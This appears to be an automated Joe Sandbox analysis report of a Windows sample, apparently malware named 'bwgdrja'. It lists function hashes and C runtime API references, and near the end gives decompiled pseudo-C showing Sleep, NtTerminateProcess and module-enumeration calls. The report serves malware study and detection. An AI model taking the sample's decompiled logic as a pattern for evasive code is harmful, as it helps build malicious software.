Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: 39af7efe7b4ae5560a8d7de73a91b76fab27153420455194a2bbf7fb36009945
Instruction ID: be53780e8f9215d43b7a453dff63346e01beffbfb6db9cd136526e513ebbd221
Opcode Fuzzy Hash: 39af7efe7b4ae5560a8d7de73a91b76fab27153420455194a2bbf7fb36009945
Instruction Fuzzy Hash: 2741F835C04708D6CB21BF39DA4616E77B0FF95344F108A7AF88876291EB388959D357

Uniqueness

Uniqueness Score: -1.00%

Function 00426C54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00426CB3
_memset.LIBCMT ref: 00426D3C
__invalid_parameter.LIBCMTD ref: 00426D9B

Strings

P, xrefs: 00426DB0

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: ce52390de37a75aadba80e2a556d5f5e1fc91c9a64ff4a5540ae425abe92fa39
Instruction ID: 93d6a45c6dabd027ba59f653e104e253db1e13b22f9be478a63bc3bbc266fb85
Opcode Fuzzy Hash: ce52390de37a75aadba80e2a556d5f5e1fc91c9a64ff4a5540ae425abe92fa39
Instruction Fuzzy Hash: 0C418B30F0421ADBCF14DF68D8857AE7771FB40318F21866AE8252A3C1C7799991CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042D346 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 81f37cd9a32adf1ebe7410e2ed683f8ce0c381471b5eb519264b6062817a8f53
Instruction ID: c92191110da9ef9595996caf585c38ee56bdb983e8138dac546f19b6aa602d00
Opcode Fuzzy Hash: 81f37cd9a32adf1ebe7410e2ed683f8ce0c381471b5eb519264b6062817a8f53
Instruction Fuzzy Hash: D14129B1E00129AFDB24CF48D941BAEB7B4FF85318F50419AD149AB241D7789E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00417CBD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8d47da5a25c8c3fb6245b3c6c35898d09e61752605f3cd8a65848fac599894ac
Instruction ID: a15a3781911187d424e88a164e589e18004f7fefacadc04b094edb4d5cd065d5
Opcode Fuzzy Hash: 8d47da5a25c8c3fb6245b3c6c35898d09e61752605f3cd8a65848fac599894ac
Instruction Fuzzy Hash: BB41C071A086299FDB64DF58D989BEEB7B5BF84300F14859AE009A7240D7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004247CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

9, xrefs: 004249F8

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 3aad3dc8a9b47346cc6ceff18c977e80328ceb1c0a6bb692c7a6b765ebe3fd3b
Instruction ID: 185953f4ad4aab8cc6952ca0c4b7aa54de8b776bab8af0afc7382129c6329dca
Opcode Fuzzy Hash: 3aad3dc8a9b47346cc6ceff18c977e80328ceb1c0a6bb692c7a6b765ebe3fd3b
Instruction Fuzzy Hash: 1F41F5B1E15229DFEB24CF58EC99BAEB7B5FB84300F60859AD059A7240C7385E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0042D394 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 71535bd1d9b43ef99e0f14b376a2f35d756b279c7f826484d7f7d9d29e67893e
Instruction ID: 4cd07ee02c765ac12f2c9650c9b1ec0d04fcd35c6de211ecfbaec52e47c7a5d1
Opcode Fuzzy Hash: 71535bd1d9b43ef99e0f14b376a2f35d756b279c7f826484d7f7d9d29e67893e
Instruction Fuzzy Hash: E14117B1E00129AFDB24CF48DD81BAEB7B5FF85314F508199D149AB241C778AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00417C6C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00417CE9
_get_int64_arg.LIBCMTD ref: 00417D11
__aullrem.LIBCMT ref: 00417EB6
__aulldiv.LIBCMT ref: 00417ED8

Strings

9, xrefs: 00417EE9

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 54fa5f8f3c4a398f0f0da1f270b3f2d67035bb6a63d27f1b553d750da698c1f0
Instruction ID: a830ad176bb28efead27608f99f27bf684fb603f0731d72cc43e52f8a26c9628
Opcode Fuzzy Hash: 54fa5f8f3c4a398f0f0da1f270b3f2d67035bb6a63d27f1b553d750da698c1f0
Instruction Fuzzy Hash: 4741D0B1A086299FDB64DF58D989BEEB7B5BF84300F1085DAE009A7240D7389EC1CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042477B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004247F8
_get_int64_arg.LIBCMTD ref: 00424820
__aullrem.LIBCMT ref: 004249C5
__aulldiv.LIBCMT ref: 004249E7

Strings

9, xrefs: 004249F8

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 52b005b8652712b5cc186a8cbb8ae1b575b73861d165fe10f209c9cdbacbc633
Instruction ID: f63e7d1530ab7167b7f56f2ed6e3e7a3292226683cde32d245114bd1439bac5d
Opcode Fuzzy Hash: 52b005b8652712b5cc186a8cbb8ae1b575b73861d165fe10f209c9cdbacbc633
Instruction Fuzzy Hash: 4341F4B1E15229DFDB24CF58EC99BAEB7B5FB84300F60819AD059A7240C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042D33D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042D3C0
_get_int64_arg.LIBCMTD ref: 0042D3E8
__aullrem.LIBCMT ref: 0042D590
__aulldiv.LIBCMT ref: 0042D5B2

Strings

9, xrefs: 0042D5C3

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 412ee453418d5e27bb26fd0ab4aadf1f503cc93d777e962b056210ca1108c079
Instruction ID: 2175fae85f8325b2275d18902a129ce1fa736e7f50fa9dffbfb5bbb35a3d4432
Opcode Fuzzy Hash: 412ee453418d5e27bb26fd0ab4aadf1f503cc93d777e962b056210ca1108c079
Instruction Fuzzy Hash: 3941F6B1E00129AFDB24CF48D981B9EB7B4BF85318F5041DAD149AB201D778AE81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA00 Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0041FA1A
_$I10_OUTPUT.LIBCMTD ref: 0041FA42
_wcscpy_s.LIBCMTD ref: 0041FA82

Part of subcall function 0040D690: __invalid_parameter.LIBCMTD ref: 0040D702

__invoke_watson_if_error.LIBCMTD ref: 0041FA8B

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: 88a28758062ff0eb752c0fe12df8a3839820717691f12d3eb2e7d625785ccabe
Instruction ID: 49cef2e8bf3cc0c93cb2118f1aa081fa37fc0b19371ed151ad594522c00598cd
Opcode Fuzzy Hash: 88a28758062ff0eb752c0fe12df8a3839820717691f12d3eb2e7d625785ccabe
Instruction Fuzzy Hash: 47214FB5A003089BCB04DF65DC82EDEB7F4AF8C704F108569F80567385E634D955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415907 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415ABF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

n, xrefs: 00415AEA

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 4ff9b2198e56b5b822ea9f6923d53f78e01b9209c61610c92f8aae27a6de0d9b
Instruction ID: a279755e304ce9fb498a6e8dd12fff2674d27eee969a218e1391b8470195e025
Opcode Fuzzy Hash: 4ff9b2198e56b5b822ea9f6923d53f78e01b9209c61610c92f8aae27a6de0d9b
Instruction Fuzzy Hash: 3F418D70905659CFCF24CF95D4947EEBBB0AF82355F24829BD8652A282C3398EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415932 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415ABF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

n, xrefs: 00415AEA

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 1ea94c386cee3e7967f4beb87cbacfe2d24abb64f810e28dcd0a20f6a0e2c2b5
Instruction ID: a279755e304ce9fb498a6e8dd12fff2674d27eee969a218e1391b8470195e025
Opcode Fuzzy Hash: 1ea94c386cee3e7967f4beb87cbacfe2d24abb64f810e28dcd0a20f6a0e2c2b5
Instruction Fuzzy Hash: 3F418D70905659CFCF24CF95D4947EEBBB0AF82355F24829BD8652A282C3398EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004159F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415ABF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

n, xrefs: 00415AEA

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: f5a68e53bced1afa19df2ec1f12fe86621cfa5d146278a343a3ed0cd834070a9
Instruction ID: f3eeec258fee9938486ef82358fc0ed0bc44f7bbdc4f83a38b5c987ab3652ecf
Opcode Fuzzy Hash: f5a68e53bced1afa19df2ec1f12fe86621cfa5d146278a343a3ed0cd834070a9
Instruction Fuzzy Hash: B6318070905659CFCF24CF95D4D57EEBBB0AF82355F14829BE4652A242C2388EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C483 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040C58D
__free_base.LIBCMTD ref: 0040C599

Strings

t!hH @, xrefs: 0040C499

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __free_base_memset
String ID: t!hH @
API String ID: 2669475236-3197341286
Opcode ID: 6097fda79d34ab4eb7a89d4da032edb72147cf66e522ed57b7e5bf75855e790f
Instruction ID: 27c072ef7c753705936a821454130ca0b90ac272d55a8e8b7d498cbfbbb52d95
Opcode Fuzzy Hash: 6097fda79d34ab4eb7a89d4da032edb72147cf66e522ed57b7e5bf75855e790f
Instruction Fuzzy Hash: 36214F78A00504EFCB04CF44D9D1A6AB7B2BB85308F34C2A9D4052B3D6D779EE42DB45

Uniqueness

Uniqueness Score: -1.00%

Function 0041606E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110
_isdigit.LIBCMTD ref: 00416136
__inc.LIBCMTD ref: 00416220
__un_inc.LIBCMTD ref: 00416244
_isxdigit.LIBCMTD ref: 0041629D
__hextodec.LIBCMTD ref: 004162C0
_isdigit.LIBCMTD ref: 004162E3
__inc.LIBCMTD ref: 00416394
__un_inc.LIBCMTD ref: 004163B8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

p, xrefs: 004160CF

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: 7f34afd45d2ce7f73b669f78092b15a3365217c9701186215e9b127bcf42cc6d
Instruction ID: 868b460b0bceca5c4af1d0b950e58cc2fd02f112405a165a426f6d39b0dda85e
Opcode Fuzzy Hash: 7f34afd45d2ce7f73b669f78092b15a3365217c9701186215e9b127bcf42cc6d
Instruction Fuzzy Hash: 0B218175D042698ACF25CFA5C8443EEBBB1AB04304F2581EBC80966206D339CAC1CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__onexit_nolock.LIBCMTD ref: 0040B0E2

Part of subcall function 0040B120: __encode_pointer.LIBCMTD ref: 0040B12E
Part of subcall function 0040B120: __encode_pointer.LIBCMTD ref: 0040B140

Strings

DA, xrefs: 0040B0C9, 0040B104
DA, xrefs: 0040B0DE, 0040B0E1

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __encode_pointer$__onexit_nolock
String ID: DA$DA
API String ID: 1977201873-2111274127
Opcode ID: 2f0f006c14da3c3e63a8cb6e317a30ab63637cf02847498a5235f1a9f3205ba6
Instruction ID: 485f2b48863b30196bf930636301ee4498aa1e88e62028b70e75e7c700c1e414
Opcode Fuzzy Hash: 2f0f006c14da3c3e63a8cb6e317a30ab63637cf02847498a5235f1a9f3205ba6
Instruction Fuzzy Hash: 7FF0A9B2A04609ABC700CFA5DC41B9FB7B8F745764F20473BF425A76C0D73D55008A95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bwgdrjaPID: 1652, Parent PID: 1080COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	25.3%
Signature Coverage:	6.3%
Total number of Nodes:	95
Total number of Limit Nodes:	4

Executed Functions

Function 004017E2 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004017E2(void* __edx) {
				void* _t4;

				 *((intOrPtr*)(_t4 - 0x77)) =  *((intOrPtr*)(_t4 - 0x77)) + __edx;
			}

0x004017e2

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000010.00000002.396972523.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_bwgdrja.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction ID: ddaf0562df841adfab300f0276baae716c17d25714fd681a3a6e16616d485b4c
Opcode Fuzzy Hash: 4dede37128b39f4f7e7a4df5dc33f26b0f76fbcd4aaa8ffb007c11c557e31b11
Instruction Fuzzy Hash: EC015233148208EBDB017AA59C41DA97729AB45754F30C537FA03791F1D67D8713A72B

Uniqueness

Uniqueness Score: -1.00%

Function 004017E3 Relevance: 3.1, APIs: 2, Instructions: 53
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E004017E3(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t8;
				char* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr* _t22;
				void* _t24;
				void* _t26;

				_push(0x181b);
				_t8 =  *_t21;
				_t22 = _t21 + 4;
				L00401118(_t8, _t13, 0x61, _t19, _t20, _t24);
				_t14 = _a4;
				Sleep(0x1388);
				_t3 =  &_v8; // 0x1b68f34d
				_t9 = _t3;
				_push(_t9);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				L00401360(); // executed
				_t25 = _t9;
				if(_t9 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t17, _t18, _t19, _t26); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t16 =  *_t22;
				L00401118(_t11, _t14, _t16, _t19, _t20, _t25);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000010.00000002.396972523.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_bwgdrja.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction ID: 1d0556d2ce3487287f662705d53e2785c513140bae9e3f24436a296874fe77da
Opcode Fuzzy Hash: eed50f69cd3fa7174ad76653e673f5296f9ebb16c169d6494c900a5425ffe511
Instruction Fuzzy Hash: 15017533108208F7D7017A958C42DAA3628AB45754F30C437BA03790F1D57DDB12676B

Uniqueness

Uniqueness Score: -1.00%

Function 004017EE Relevance: 3.0, APIs: 2, Instructions: 47
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E004017EE(void* __edi, void* __esi) {
				intOrPtr _t8;
				intOrPtr* _t9;
				void* _t11;
				void* _t13;
				intOrPtr* _t14;
				intOrPtr _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t25;
				intOrPtr* _t26;
				void* _t29;
				void* _t31;

				_t21 = __esi;
				_t19 = __edi;
				_push(0x181b);
				_t8 =  *_t25;
				_t26 = _t25 + 4;
				L00401118(_t8, _t13, 0x61, __esi, 0x1b68f351, _t29);
				_t14 =  *((intOrPtr*)(0x1b68f359));
				Sleep(0x1388);
				_t9 = 0x1b68f34d;
				_push(_t9);
				_push( *0x1B68F361);
				_push( *0x1B68F35D);
				_push(_t14); // executed
				L00401360(); // executed
				_t30 = _t9;
				if(_t9 != 0) {
					_push( *0x1B68F365);
					_push( *((intOrPtr*)(0x1b68f34d)));
					_push(_t9);
					_push(_t14); // executed
					E00401432(_t14, _t18, _t19, _t21, _t31); // executed
				}
				 *_t14(0xffffffff, 0); // executed
				_t11 = 0x181b;
				_push(0x61);
				_t17 =  *_t26;
				L00401118(_t11, _t14, _t17, _t21, 0x1b68f351, _t30);
				return _t11;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000010.00000002.396972523.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_bwgdrja.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction ID: 6a2648c31bf342f80e2744bc490c75df06b0a743f4722301b2fbabc3dba0a0aa
Opcode Fuzzy Hash: 0a9656e0e1b5f21b45c9f82a7808bfe019579950b80e51e68eaabb0023cd3f01
Instruction Fuzzy Hash: 54016733508304ABDB017AA18C42EA937289B45754F24C577BB13790F2D57DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00BDD277 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00BDD29F
Module32First.KERNEL32(00000000,00000224), ref: 00BDD2BF

Memory Dump Source

Source File: 00000010.00000002.397859879.0000000000BD8000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BD8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_bd8000_bwgdrja.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 36125ed1b4419ba701753a9e40a291e59f1211d97d34d9437d10a9d1396d3138
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7FF096351007156BD7203BF9DC8DBAEB6F8FF49724F10066AF686926C0EBB0EC454661

Uniqueness

Uniqueness Score: -1.00%

Function 00401807 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E00401807(signed int __edx, void* __edi, void* __esi) {
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr _t18;
				void* _t21;
				void* _t25;
				intOrPtr* _t27;
				signed char _t30;
				void* _t32;

				_t23 = __esi;
				_t21 = __edi;
				_t20 = __edx |  *(_t25 + 0x7b);
				_t30 = __edx |  *(_t25 + 0x7b);
				L00401118(_t9, _t14, 0x61, __esi, _t25, _t30);
				_t15 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t4 = _t25 - 4; // 0x1b68f34d
				_t10 = _t4;
				_push(_t10);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t15); // executed
				L00401360(); // executed
				_t31 = _t10;
				if(_t10 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t10);
					_push(_t15); // executed
					E00401432(_t15, _t20, _t21, _t23, _t32); // executed
				}
				 *_t15(0xffffffff, 0); // executed
				_t12 = 0x181b;
				_push(0x61);
				_t18 =  *_t27;
				L00401118(_t12, _t15, _t18, _t23, _t25, _t31);
				return _t12;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401823
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040184B

Memory Dump Source

Source File: 00000010.00000002.396972523.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_bwgdrja.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction ID: d1e85a843a3bf15b3ffbd62fd2fe31d474754e63a526ee7ed21e8696c92682af
Opcode Fuzzy Hash: fa61b3bfe6e1efcc42a3172324d87a3747898b17389843dd474e8030b106d628
Instruction Fuzzy Hash: 2FF04F33204208FBDB007BA18C42EAD3729AB45754F20C537BA13790F2D679CA12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00409AA1 Relevance: 16.7, APIs: 11, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00409AFE
_wprintf.LIBCMTD ref: 00409C10
_wscanf.LIBCMTD ref: 00409C19
_wscanf.LIBCMTD ref: 00409C26
__wremove.LIBCMTD ref: 00409C2C
__wrename.LIBCMTD ref: 00409C33
_labs.LIBCMTD ref: 00409C50
_abort.LIBCMTD ref: 00409C55
_realloc.LIBCMTD ref: 00409C7C

Part of subcall function 0040A710: __realloc_dbg.LIBCMTD ref: 0040A724

_malloc.LIBCMTD ref: 00409C82

Part of subcall function 0040A6E0: __nh_malloc_dbg.LIBCMTD ref: 0040A6F6

__wctomb_s_l.LIBCMTD ref: 00409C8C

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: _wscanf$__nh_malloc_dbg__realloc_dbg__wctomb_s_l__wremove__wrename_abort_labs_malloc_memset_realloc_wprintf
String ID:
API String ID: 2019212891-0
Opcode ID: 4f426f4be7e1892514fe5375348282e990bf099ad3d0705f927ebc86e15acebc
Instruction ID: 4befd44aadf6a3e38bbd975263229d90e3da24d8b7ce12a38db28b9e0d7e305e
Opcode Fuzzy Hash: 4f426f4be7e1892514fe5375348282e990bf099ad3d0705f927ebc86e15acebc
Instruction Fuzzy Hash: BD517272502524BBC7117B929D49DDF3AACEF4A754B00403AF60AB50A2D73C5645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE10 Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AE8C
__heap_init.LIBCMTD ref: 0040AE96

Part of subcall function 00419580: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AE9B,00000001), ref: 00419596

_fast_error_exit.LIBCMTD ref: 0040AEA4

Part of subcall function 0040AFF0: ___crtExitProcess.LIBCMTD ref: 0040B014

__mtinit.LIBCMTD ref: 0040AEAC
_fast_error_exit.LIBCMTD ref: 0040AEB7
__RTC_Initialize.LIBCMTD ref: 0040AEC9
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AEF3
